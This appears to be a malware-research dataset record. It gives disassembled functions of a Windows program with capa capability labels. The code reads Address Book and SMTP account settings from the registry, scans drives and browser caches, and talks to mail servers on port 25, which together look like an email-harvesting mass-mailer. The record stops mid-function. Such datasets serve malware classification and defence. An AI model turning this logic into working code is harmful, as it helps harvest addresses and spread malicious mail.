joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403780
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x454
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
test esi, esi
je 0x403884
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 7
jl 0x403884
push 0x448
lea eax, [ebp - 0x450]
push 0
push eax
call fcn.00409b80
add esp, 0xc
lea ecx, [ebp - 0x450]
mov dword [ebp - 0x450], esi
call fcn.00402680
lea ecx, [ebp - 0x450]
call fcn.00402790
lea ecx, [ebp - 0x450]
call fcn.00402930
lea ecx, [ebp - 0x450]
call fcn.00402a80
test eax, eax
jne 0x403884
mov eax, dword [ebp - 0x94]
lea ecx, [eax*4]
mov eax, 0x55555556
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, 0x239f
add eax, edx
cdq
and edx, 0x3ff
add eax, edx
and eax, 0xfffffc00
push eax
push 0x40
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 0x10], eax
test eax, eax
je 0x403860
lea ecx, [ebp - 0x450]
mov byte [eax], 0
call fcn.00403250
lea ecx, [ebp - 0x450]
call fcn.00403650
test eax, eax
je 0x403895
mov eax, dword [ebp - 0x10]
cmp byte [ebp - 0x29a], 0
je 0x403879
lea eax, [ebp - 0x199]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x403884
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004062eb
mov esp, ebp
pop ebp
ret
cmp byte [ebp - 0x29a], 0
je 0x4038ab
lea eax, [ebp - 0x199]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
xor ecx, ebp
pop esi
call fcn.004062eb
mov esp, ebp
pop ebp
ret

Function at 0x403ba0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1000c
call fcn.0040b470
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
push 0
push 0x80
push 3
push 0
push 3
push connect
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
test edi, edi
je 0x403ca5
cmp edi, 0xffffffff
je 0x403ca5
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
xor esi, esi
push esi
lea eax, [ebp - 0x10008]
push eax
push 0xfffd
lea eax, [ebp - 0x10004]
push eax
push edi
mov dword [ebp - 0x1000c], esi
mov dword [ebp - 0x10008], esi
call ebx
mov eax, dword [ebp - 0x10008]
test eax, eax
je 0x403c8b
jmp 0x403c20
cmp eax, 0xffff
jae 0x403c8b
mov edx, eax
lea ecx, [ebp - 0x10004]
add esi, eax
mov byte [ebp + eax - 0x10004], 0
call fcn.004038c0
mov edx, dword [ebp - 0x10008]
lea ecx, [ebp - 0x10004]
call fcn.00403a50
add dword [ebp - 0x1000c], eax
jne 0x403c5f
cmp esi, 0x4b000
ja 0x403c8b
push 0
lea eax, [ebp - 0x10008]
push eax
push 0xfffd
lea eax, [ebp - 0x10004]
push eax
push edi
mov dword [ebp - 0x10008], 0
call ebx
mov eax, dword [ebp - 0x10008]
test eax, eax
jne 0x403c20
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop ebx
xor eax, eax
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004062eb
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, 1
pop edi
call fcn.004062eb
mov esp, ebp
pop ebp
ret
Function at 0x403f00
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x26c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, ecx
push esi
push edi
mov dword [ebp - 0x264], edx
mov dword [ebp - 0x26c], ebx
test ebx, ebx
je 0x403f2d
cmp byte [ebx], 0
jne 0x403f43
mov eax, 1
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004062eb
mov esp, ebp
pop ebp
ret
cmp dword [0x415ebc], 0
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
je 0x403f62
push 0x800
call edi
cmp dword [0x415ebc], 0
jne 0x403f52
push ebx
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea ebx, [ebp - 0x120]
lea eax, [ebp - 0x120]
dec ebx
push eax
mov dword [ebp - 0x268], ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp byte [eax + ebx], 0x5c
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
je 0x403fa4
push 0x410d40
lea eax, [ebp - 0x120]
push eax
call ebx
push 0x411d40
lea eax, [ebp - 0x120]
push eax
call ebx
push 0x140
lea eax, [ebp - 0x260]
push 0
push eax
call fcn.00409b80
add esp, 0xc
xor esi, esi
lea ebx, [ebx]
lea eax, [ebp - 0x260]
push eax
test esi, esi
jne 0x403ff7
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x403f32
test esi, esi
jmp 0x404000
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x403f32
cmp byte [ebp - 0x234], 0x2e
jne 0x404026
mov al, byte [ebp - 0x233]
test al, al
je 0x403fd0
cmp al, 0x2e
jne 0x404026
cmp byte [ebp - 0x232], 0
je 0x403fd0
push dword [ebp - 0x26c]
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x268]
cmp byte [eax + ecx], 0x5c
je 0x404060
push 0x410d40
lea eax, [ebp - 0x120]
push eax
call ebx
lea eax, [ebp - 0x234]
push eax
lea eax, [ebp - 0x120]
push eax
call ebx
test byte [ebp - 0x260], 0x10
je 0x40409c
push 0x4b
call edi
mov edx, dword [ebp - 0x264]
dec edx
test edx, edx
jle 0x403fd0
lea ecx, [ebp - 0x120]
call fcn.00403f00
jmp 0x403fd0
lea edx, [ebp - 0x260]
lea ecx, [ebp - 0x120]
call fcn.00403cc0
jmp 0x403fd0
Function at 0x4040c0
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push 0
push 0x80
push 3
push 0
push 3
push connect
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
mov dword [ebp - 0x8c], ebx
test ebx, ebx
je 0x404245
cmp ebx, 0xffffffff
je 0x404245
push esi
push edi
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0
push 0
push 0
push 2
push 0
push ebx
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov esi, eax
mov dword [ebp - 0x94], esi
test esi, esi
je 0x404228
cmp esi, 0xffffffff
je 0x404228
push 0
push 0
push 0
push 4
push esi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ebx, eax
test ebx, ebx
jne 0x404177
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x8c]
call esi
pop edi
pop esi
lea eax, [ebx + 3]
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004062eb
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebx + 0x64]
mov eax, dword [ebx + 0x60]
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x90], ecx
test ecx, ecx
je 0x4041fd
lea ecx, [ecx]
push 0x80
mov esi, eax
lea eax, [ebp - 0x84]
push 0
push eax
call fcn.00409b80
add esp, 0xc
xor eax, eax
cmp dword [ebp - 0x88], edi
jae 0x4041e0
cmp eax, 0x44
jae 0x4041cf
mov cl, byte [esi + ebx]
mov byte [ebp + eax - 0x84], cl
cmp byte [esi + ebx], 0
je 0x4041cf
add esi, 2
inc eax
cmp esi, edi
jb 0x4041b2
test eax, eax
je 0x4041e0
xor edx, edx
lea ecx, [ebp - 0x84]
call fcn.00401fa0
mov eax, dword [ebp - 0x88]
add eax, 0x44
dec dword [ebp - 0x90]
mov dword [ebp - 0x88], eax
jne 0x404190
mov esi, dword [ebp - 0x94]
push ebx
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x8c]
call esi
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004062eb
mov esp, ebp
pop ebp
ret
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, 2
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004062eb
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.004062eb
mov esp, ebp
pop ebp
ret
Function at 0x404260
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x15c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x54]
mov esi, eax
mov edx, str.SoftwareMicrosoftWABWAB4Wab_File_Name
sub edx, esi
mov cl, 0x53
pop esi
mov byte [eax], cl
mov cl, byte [edx + eax + 1]
lea eax, [eax + 1]
test cl, cl
jne 0x404283
mov byte [eax], cl
lea eax, [ebp - 0x15c]
push eax
push 0x20019
push 0
lea eax, [ebp - 0x54]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x404312
push 0x100
push eax
lea eax, [ebp - 0x154]
push eax
call fcn.00409b80
add esp, 0xc
lea eax, [ebp - 0x158]
push eax
lea eax, [ebp - 0x154]
push eax
push 0
push 0
push 0
push dword [ebp - 0x15c]
mov dword [ebp - 0x158], 0x100
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x15c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp byte [ebp - 0x154], 0
je 0x404312
lea ecx, [ebp - 0x154]
call fcn.004040c0
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004062eb
mov esp, ebp
pop ebp
ret

Function at 0x404320
Capabilities:
Get common file path
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
lea eax, [ebp - 0x48]
mov edx, str.Temporary_Internet_Files
mov esi, eax
push edi
mov cl, 0x54
sub edx, esi
mov byte [eax], cl
mov cl, byte [edx + eax + 1]
lea eax, [eax + 1]
test cl, cl
jne 0x404344
mov byte [eax], cl
lea eax, [ebp - 0x88]
mov edx, str.Local_Settings
mov esi, eax
mov cl, 0x4c
sub edx, esi
mov byte [eax], cl
mov cl, byte [edx + eax + 1]
lea eax, [eax + 1]
test cl, cl
jne 0x404364
mov ebx, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
mov byte [eax], cl
xor esi, esi
push 0x184
lea eax, [ebp - 0x210]
push 0
push eax
call fcn.00409b80
add esp, 0xc
lea eax, [ebp - 0x210]
push 0x184
push eax
test esi, esi
jne 0x4043ab
call ebx
jmp 0x4043b6
push str.USERPROFILE
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
cmp byte [ebp - 0x210], 0
je 0x404423
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ecx, [ebp - 0x210]
cmp byte [eax + ecx - 1], 0x5c
je 0x4043e3
push 0x410d40
mov eax, ecx
push eax
call edi
cmp esi, 1
jne 0x404406
lea eax, [ebp - 0x88]
push eax
lea eax, [ebp - 0x210]
push eax
call edi
push 0x410d40
lea eax, [ebp - 0x210]
push eax
call edi
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x210]
push eax
call edi
mov edx, 5
lea ecx, [ebp - 0x210]
call fcn.00403f00
inc esi
cmp esi, 2
jl 0x404381
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004062eb
mov esp, ebp
pop ebp
ret
Function at 0x404440
Capabilities:
Enumerate files on windows
Get common file path
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x374
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x110]
push 0
push eax
call fcn.00409b80
add esp, 0xc
lea eax, [ebp - 0x110]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov al, byte [ebp - 0x110]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov byte [ebp - 0x369], al
push 0x411da8
lea eax, [ebp - 0x10f]
push eax
call esi
mov edx, 0xf
lea ecx, [ebp - 0x110]
call fcn.00403f00
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
mov cl, byte [ebp - 0x369]
mov al, 0x43
mov byte [ebp - 0x110], al
cmp al, cl
je 0x40466f
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
je 0x4044eb
cmp eax, 6
jne 0x404663
push 0x1fa0
call edi
mov al, byte [ebp - 0x110]
test al, al
je 0x404669
cmp dword [0x415ebc], 0
je 0x404520
lea esp, [esp]
push 0x800
call edi
cmp dword [0x415ebc], 0
jne 0x404510
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x228]
push eax
call esi
lea esi, [ebp - 0x228]
lea eax, [ebp - 0x228]
dec esi
push eax
mov dword [ebp - 0x370], esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp byte [eax + esi], 0x5c
je 0x40455e
push 0x410d40
lea eax, [ebp - 0x228]
push eax
call ebx
push 0x411d40
lea eax, [ebp - 0x228]
push eax
call ebx
push 0x140
lea eax, [ebp - 0x368]
push 0
push eax
call fcn.00409b80
add esp, 0xc
xor esi, esi
lea eax, [ebp - 0x368]
push eax
test esi, esi
jne 0x4045ab
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x40465d
test esi, esi
jmp 0x4045b4
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x40465d
cmp byte [ebp - 0x33c], 0x2e
jne 0x4045da
mov al, byte [ebp - 0x33b]
test al, al
je 0x404584
cmp al, 0x2e
jne 0x4045da
cmp byte [ebp - 0x33a], 0
je 0x404584
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x370]
cmp byte [eax + ecx], 0x5c
je 0x404615
push 0x410d40
lea eax, [ebp - 0x228]
push eax
call ebx
lea eax, [ebp - 0x33c]
push eax
lea eax, [ebp - 0x228]
push eax
call ebx
test byte [ebp - 0x368], 0x10
je 0x404647
push 0x4b
call edi
mov edx, 0xe
lea ecx, [ebp - 0x228]
call fcn.00403f00
jmp 0x404584
lea edx, [ebp - 0x368]
lea ecx, [ebp - 0x228]
call fcn.00403cc0
jmp 0x404584
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov al, byte [ebp - 0x110]
mov cl, byte [ebp - 0x369]
inc al
mov byte [ebp - 0x110], al
cmp al, 0x5a
jl 0x4044c8
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004062eb
mov esp, ebp
pop ebp
ret
Function at 0x404730
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 0x400
lea eax, [ebp - 0x404]
push 0
push eax
mov ebx, edx
mov dword [ebp - 0x408], ecx
call fcn.00409b80
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edi, dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x404], ax
mov ax, word [ebp + 0xc]
push 1
mov word [ebp - 0x402], ax
call edi
mov word [ebp - 0x400], ax
xor eax, eax
lea edx, [ebp - 0x3f8]
mov ecx, esi
mov dword [ebp - 0x3fe], eax
mov word [ebp - 0x3fa], ax
call fcn.004046c0
push 0xf
mov esi, eax
call edi
push 1
mov word [ebp + esi - 0x3f8], ax
call edi
push 0x10
push ebx
mov word [ebp + esi - 0x3f6], ax
push 0
lea eax, [esi + 0x10]
push eax
lea eax, [ebp - 0x404]
push eax
push dword [ebp - 0x408]
call dword [sym.imp.WS2_32.dll_sendto]
xor ecx, ecx
test eax, eax
setle cl
pop edi
pop esi
pop ebx
mov eax, ecx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004062eb
mov esp, ebp
pop ebp
ret
Function at 0x404f80
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push str.iphlpapi.dll
mov dword [ebp - 0x1c], ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x404faa
cmp eax, 0xffffffff
jne 0x404fb5
push str.iphlpapi.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x4050aa
cmp eax, 0xffffffff
je 0x4050aa
push str.GetNetworkParams
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x4050aa
push 0x4000
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
lea eax, [ebp - 8]
push eax
push edi
mov dword [ebp - 0x20], edi
mov dword [ebp - 8], 0x4000
call esi
test eax, eax
jne 0x4050aa
lea esi, [edi + 0x10c]
xor ebx, ebx
test esi, esi
je 0x405087
lea ecx, [eax + 2]
lea ebx, [ebx]
lea edi, [esi + 4]
test edi, edi
je 0x40507e
push 0x35
mov word [ebp - 0x18], cx
call dword [sym.imp.WS2_32.dll_htons]
push edi
mov word [ebp - 0x16], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40504a
cmp eax, 0xffffffff
jne 0x40505f
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x405079
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x405079
cmp eax, 0xffffffff
je 0x405079
mov edx, dword [ebp - 0x1c]
lea ecx, [ebp - 0x18]
call fcn.00404b00
mov ebx, eax
test ebx, ebx
jne 0x405084
mov ecx, 2
mov esi, dword [esi]
test esi, esi
jne 0x405020
mov edi, dword [ebp - 0x20]
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, ebx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004062eb
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.004062eb
mov esp, ebp
pop ebp
ret
Function at 0x4050c0
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov eax, ecx
push edi
mov ecx, 1
xor edi, edi
sub ecx, edx
mov dword [ebp - 0x120], edx
mov dword [ebp - 0x11c], eax
mov esi, edx
mov dword [ebp - 0x124], ecx
test ebx, ebx
je 0x40514d
mov dword [ebp - 0x114], eax
mov eax, 0x10624dd3
mul ebx
shr edx, 6
mov dword [ebp - 0xc], edx
imul edx, edx, 0x3e8
mov eax, ebx
sub eax, edx
imul eax, eax, 0x3e8
mov dword [ebp - 8], eax
lea eax, [ebp - 0xc]
push eax
push 0
push 0
lea eax, [ebp - 0x118]
push eax
push 0
mov dword [ebp - 0x118], 1
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
jle 0x405182
mov eax, dword [ebp - 0x11c]
push 0
push 1
push esi
push eax
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
js 0x40519f
je 0x405182
mov cl, byte [esi]
inc edi
inc esi
cmp cl, 0xa
je 0x405182
mov ecx, dword [ebp - 0x124]
mov eax, dword [ebp - 0x11c]
add ecx, esi
cmp ecx, 0x400
jl 0x4050f8
mov eax, dword [ebp - 0x120]
mov byte [eax + edi], 0
mov eax, edi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004062eb
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
or eax, 0xffffffff
pop ebx
call fcn.004062eb
mov esp, ebp
pop ebp
ret

Function at 0x4053e0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x408
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x404], eax
mov eax, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
test eax, eax
je 0x405430
lea ecx, [ebp + 0x14]
push ecx
push eax
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.USER32.dll_wvsprintfA]
push 0
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [esp + 0x10]
push eax
push esi
call dword [sym.imp.WS2_32.dll_send]
mov edi, dword [ebp + 0xc]
push edi
push ecx
lea edx, [esp + 0x10]
mov ecx, esi
call fcn.004050c0
add esp, 8
test eax, eax
jle 0x405498
lea eax, [esp + 8]
xor edx, edx
lea ecx, [ecx]
mov cl, byte [eax]
cmp cl, 0x20
je 0x40545c
cmp cl, 9
jne 0x40545f
inc eax
jmp 0x405450
mov cl, byte [eax]
cmp cl, 0x30
jl 0x40547f
cmp cl, 0x39
jg 0x40547f
lea edx, [edx + edx*4]
movsx ecx, cl
lea edx, [edx - 0x18]
inc eax
lea edx, [ecx + edx*2]
mov cl, byte [eax]
cmp cl, 0x30
jge 0x405466
cmp byte [eax], 0x2d
jne 0x4054ae
push edi
push ecx
lea edx, [esp + 0x10]
mov ecx, esi
call fcn.004050c0
add esp, 8
test eax, eax
jg 0x405447
xor eax, eax
pop edi
pop esi
mov ecx, dword [esp + 0x404]
xor ecx, esp
call fcn.004062eb
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x40c]
pop edi
pop esi
xor ecx, esp
mov eax, edx
call fcn.004062eb
mov esp, ebp
pop ebp
ret
Function at 0x4057d0
Capabilities:
Query or enumerate registry key
Query or enumerate registry value
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x32c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
lea eax, [ebp - 0x88]
mov dword [ebp - 0x328], ecx
mov esi, str.SoftwareMicrosoftInternet_Account_ManagerAccounts
mov ecx, eax
push edi
mov dl, 0x53
sub esi, ecx
lea ecx, [ecx]
mov byte [eax], dl
mov dl, byte [esi + eax + 1]
lea eax, [eax + 1]
test dl, dl
jne 0x405800
mov byte [eax], dl
lea eax, [ebp - 0x108]
mov edx, str.SMTP_Server
mov esi, eax
mov cl, 0x53
sub edx, esi
mov byte [eax], cl
mov cl, byte [edx + eax + 1]
lea eax, [eax + 1]
test cl, cl
jne 0x405820
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov byte [eax], cl
lea eax, [ebp - 0x320]
push eax
push 0x20019
push 0
lea eax, [ebp - 0x88]
push eax
push connect
call esi
test eax, eax
je 0x40586b
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004062eb
mov esp, ebp
pop ebp
ret
push 0x100
lea eax, [ebp - 0x308]
push eax
xor edi, edi
push edi
push dword [ebp - 0x320]
xor ebx, ebx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
jne 0x4059ba
lea eax, [ebp - 0x324]
push eax
push 0x20019
push 0
lea eax, [ebp - 0x308]
push eax
push dword [ebp - 0x320]
inc ebx
call esi
test eax, eax
jne 0x405999
push 0x100
push eax
lea eax, [ebp - 0x208]
push eax
call fcn.00409b80
add esp, 0xc
lea eax, [ebp - 0x30c]
push eax
lea eax, [ebp - 0x208]
push eax
push 0
push 0
lea eax, [ebp - 0x108]
push eax
push dword [ebp - 0x324]
mov dword [ebp - 0x30c], 0x100
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x405989
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov esi, eax
cmp esi, 0xffffffff
je 0x405923
test esi, esi
jne 0x40593b
cmp byte [ebp - 0x208], 0x30
je 0x405943
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x40593b
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov esi, dword [eax]
xor eax, eax
cmp esi, 0xffffffff
cmove esi, eax
mov dword [ebp - 0x318], esi
test esi, esi
je 0x405983
mov eax, 2
push 0x19
mov word [ebp - 0x31c], ax
call dword [sym.imp.WS2_32.dll_htons]
mov edx, dword [ebp - 0x328]
lea ecx, [ebp - 0x31c]
mov word [ebp - 0x31a], ax
call fcn.004054d0
test eax, eax
mov eax, 1
cmove edi, eax
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push dword [ebp - 0x324]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test edi, edi
jne 0x4059ba
push 0x100
lea eax, [ebp - 0x308]
push eax
push ebx
push dword [ebp - 0x320]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
je 0x405890
push dword [ebp - 0x320]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor eax, eax
test edi, edi
pop edi
sete al
pop esi
xor ecx, ebp
pop ebx
call fcn.004062eb
mov esp, ebp
pop ebp
ret
Function at 0x405db0
Capabilities:
Encode data using xor
Hash data with crc32
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 0
mov ebx, ecx
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov edi, dword [sym.imp.KERNEL32.dll_ReadFile]
xor esi, esi
push esi
lea eax, [ebp - 0x408]
push eax
push 0x400
lea eax, [ebp - 0x404]
push eax
push ebx
mov dword [ebp - 0x408], esi
call edi
test eax, eax
je 0x405f36
mov edx, dword [ebp - 0x408]
test edx, edx
je 0x405f36
lea ecx, [ebp - 0x404]
not esi
cmp edx, 8
jl 0x405ee7
mov edi, edx
shr edi, 3
lea eax, [edi*8]
sub edx, eax
nop
movzx eax, byte [ecx]
xor eax, esi
and eax, 0xff
shr esi, 8
xor esi, dword [eax*4 + 0x4110e0]
movzx eax, byte [ecx + 1]
xor eax, esi
and eax, 0xff
shr esi, 8
xor esi, dword [eax*4 + 0x4110e0]
movzx eax, byte [ecx + 2]
xor eax, esi
and eax, 0xff
shr esi, 8
xor esi, dword [eax*4 + 0x4110e0]
movzx eax, byte [ecx + 3]
xor eax, esi
and eax, 0xff
shr esi, 8
xor esi, dword [eax*4 + 0x4110e0]
movzx eax, byte [ecx + 4]
xor eax, esi
and eax, 0xff
shr esi, 8
xor esi, dword [eax*4 + 0x4110e0]
movzx eax, byte [ecx + 5]
xor eax, esi
and eax, 0xff
shr esi, 8
xor esi, dword [eax*4 + 0x4110e0]
movzx eax, byte [ecx + 6]
xor eax, esi
and eax, 0xff
shr esi, 8
xor esi, dword [eax*4 + 0x4110e0]
movzx eax, byte [ecx + 7]
xor eax, esi
and eax, 0xff
shr esi, 8
xor esi, dword [eax*4 + 0x4110e0]
add ecx, 8
dec edi
jne 0x405e30
mov edi, dword [sym.imp.KERNEL32.dll_ReadFile]
test edx, edx
je 0x405f0a
jmp 0x405ef0
movzx eax, byte [ecx]
xor eax, esi
and eax, 0xff
shr esi, 8
xor esi, dword [eax*4 + 0x4110e0]
lea ecx, [ecx + 1]
dec edx
jne 0x405ef0
push 0
lea eax, [ebp - 0x408]
push eax
push 0x400
lea eax, [ebp - 0x404]
push eax
push ebx
not esi
mov dword [ebp - 0x408], 0
call edi
test eax, eax
jne 0x405e02
push 0
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.004062eb
